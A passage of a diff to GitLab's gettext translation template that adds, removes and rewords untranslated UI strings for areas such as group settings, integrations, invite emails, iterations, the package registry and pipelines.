+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16396,13 +16069,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19279,9 +18982,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19676,9 +19373,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22459,7 +22153,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23877,9 +23571,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,13 +24579,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24921,10 +24630,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26619,9 +26322,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26706,21 +26406,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26736,18 +26433,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
